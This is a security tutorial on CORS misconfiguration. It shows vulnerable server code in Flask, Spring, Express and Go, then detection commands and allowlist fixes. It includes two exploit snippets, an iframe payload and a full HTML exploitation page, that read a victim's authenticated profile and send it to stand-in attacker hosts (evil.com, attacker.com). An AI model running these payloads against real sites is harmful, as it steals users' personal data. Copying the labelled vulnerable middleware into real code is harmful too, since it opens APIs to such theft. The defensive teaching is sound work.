CORS Misconfiguration: The Open Door You Didn’t Know About
CORS misconfiguration is one of those vulnerabilities that keeps coming up because most developers don’t fully understand what CORS actually does. It’s the browser mechanism that controls which websites can make requests to your API. When it’s configured correctly, it prevents malicious sites from stealing data through a victim’s browser. When it’s misconfigured, and this happens constantly based on public bug bounty reports, it effectively disables the Same-Origin Policy, letting any website read authenticated responses from your API. What makes CORS misconfigurations particularly interesting to study is that they’re invisible to users, silent in server logs, and trivial to exploit.
How CORS Works
When a browser makes a cross-origin request (say, JavaScript on evil.com calls api.example.com), the browser sends an Origin header. The server responds with Access-Control-Allow-Origin to indicate whether the requesting origin is permitted. If the origin isn’t allowed, the browser blocks the JavaScript from reading the response.
For requests with credentials (cookies, authorization headers), the server must also return Access-Control-Allow-Credentials: true, and Access-Control-Allow-Origin must be a specific origin, not the wildcard *.
Here’s the thing that trips people up: CORS is enforced by the browser, not the server. The server always processes the request and sends the response. CORS only controls whether the browser lets JavaScript read that response. This distinction is fundamental, and misunderstanding it leads to most of the misconfiguration patterns below.
The Dangerous Patterns
Pattern 1: Reflecting the Origin Header
The most common CORS misconfiguration is reflecting the request’s Origin header back as Access-Control-Allow-Origin. It shows up in a significant fraction of APIs based on bug bounty disclosures.
Python (Flask)
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.after_request
def add_cors_headers(response):
origin = request.headers.get("Origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
return response
@app.route("/api/user/profile")
def get_profile():
user = get_authenticated_user(request)
return jsonify({"name": user.name, "email": user.email, "ssn": user.ssn})
This accepts every origin. An attacker hosts a page on evil.com that makes a fetch request to /api/user/profile. The victim’s browser sends their session cookie, the server returns the profile data, and the attacker’s JavaScript reads it, including the SSN. The attack is simple enough that a working exploit fits in about ten lines of JavaScript.
Java (Spring Boot)
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("*")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowCredentials(true);
}
}
Spring Boot rejects allowedOrigins("*") combined with allowCredentials(true) in recent versions, but older versions allowed it. What I keep seeing in codebases is developers working around the restriction by using allowedOriginPatterns("*"), which has the same effect. They think they’re fixing a configuration error, but they’re actually reintroducing the vulnerability.
Pattern 2: Insufficient Origin Validation
const express = require('express');
const app = express();
app.use((req, res, next) => {
const origin = req.headers.origin;
// VULNERABLE: substring match instead of exact match
if (origin && origin.includes('example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
This intends to allow example.com and its subdomains. But origin.includes('example.com') also matches evil-example.com, example.com.evil.com, and notexample.com. The bypass is trivial, register a matching domain and the check falls apart. Domains are cheap, and this pattern is well-known in the bug bounty community.
Go, Regex Pitfall
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
// VULNERABLE: missing anchor in regex
allowed, _ := regexp.MatchString(`https://.*\.example\.com`, origin)
if allowed {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
next.ServeHTTP(w, r)
})
}
The regex https://.*\.example\.com is missing the end anchor $. It matches https://evil.example.com.attacker.com because the pattern matches a prefix of the origin string. This regex mistake is common enough that I now have a mental checklist specifically for CORS regex patterns whenever I review middleware code. The fix requires ^https://[a-zA-Z0-9-]+\.example\.com$.
Pattern 3: Null Origin Allowance
@app.after_request
def add_cors_headers(response):
origin = request.headers.get("Origin", "")
allowed_origins = ["https://app.example.com", "null"]
if origin in allowed_origins:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
Allowing the null origin is worth flagging immediately in every review. Browsers send Origin: null for requests from sandboxed iframes, data: URIs, and local files. An attacker can trigger a null origin by embedding their attack page in a sandboxed iframe:
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://api.example.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://evil.com/steal?data=' + JSON.stringify(d)));
</script>">
</iframe>
Teams sometimes allowlist their production origins but leave null in the list “for local development.” That one entry undoes all their other protections. When I started looking into how often this shows up, I found it in a surprising number of public bug bounty reports.
Exploitation
A complete CORS exploitation page:
<!DOCTYPE html>
<html>
<body>
<script>
// Victim visits this page while logged into api.example.com
fetch('https://api.example.com/api/user/profile', {
credentials: 'include' // sends cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate stolen data
navigator.sendBeacon(
'https://attacker.com/collect',
JSON.stringify(data)
);
});
</script>
</body>
</html>
If the target API reflects the origin and allows credentials, this page steals the victim’s profile data when they visit the attacker’s site. It’s one of the simplest exploits to demonstrate and one of the most impactful, the entire attack fits in a single HTML file.
Detection Strategies
Automated Testing
Send requests with various Origin headers and check the response:
# Test origin reflection
curl -H "Origin: https://evil.com" -I https://api.example.com/api/endpoint
# Test null origin
curl -H "Origin: null" -I https://api.example.com/api/endpoint
# Test subdomain bypass
curl -H "Origin: https://evil-example.com" -I https://api.example.com/api/endpoint
If Access-Control-Allow-Origin reflects the attacker’s origin and Access-Control-Allow-Credentials: true is present, the endpoint is vulnerable. These three curl commands take thirty seconds and catch the majority of CORS issues, it’s a good first check for any API review.
Static Analysis
- Semgrep: Rules exist for detecting
Access-Control-Allow-Origin: *with credentials, and for origin reflection patterns in Flask, Express, and Spring. These are some of the more reliable Semgrep rules available. - eslint-plugin-security: Doesn’t detect CORS issues directly. Custom ESLint rules are needed.
- Manual review: Search for
Access-Control-Allow-Origin,allowedOrigins,cors(, and trace the origin value back to its source. This is fast and catches things automated tools miss.
Remediation
Allowlist Approach
ALLOWED_ORIGINS = {
"https://app.example.com",
"https://admin.example.com",
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get("Origin", "")
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
var allowedOrigins = map[string]bool{
"https://app.example.com": true,
"https://admin.example.com": true,
}
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
next.ServeHTTP(w, r)
})
}
Key Principles
These are the rules that the research and public vulnerability reports consistently reinforce:
- Never reflect the Origin header without validation. Use an explicit allowlist of permitted origins.
- Never allow the
nullorigin. There is no legitimate production use case for it. - Use exact string matching, not substring or regex. If you must use regex, anchor both ends and test against bypass patterns.
- Avoid
Access-Control-Allow-Origin: *with credentials. Modern browsers reject this combination, but older browsers may not. - Minimise exposed endpoints. Only add CORS headers to endpoints that genuinely need cross-origin access.
- Use CORS libraries. Flask-CORS,
cors(Express), Spring’s@CrossOrigin, these handle preflight requests and header management correctly when configured with an explicit origin list. A well-maintained library is more trustworthy than hand-rolled middleware for this.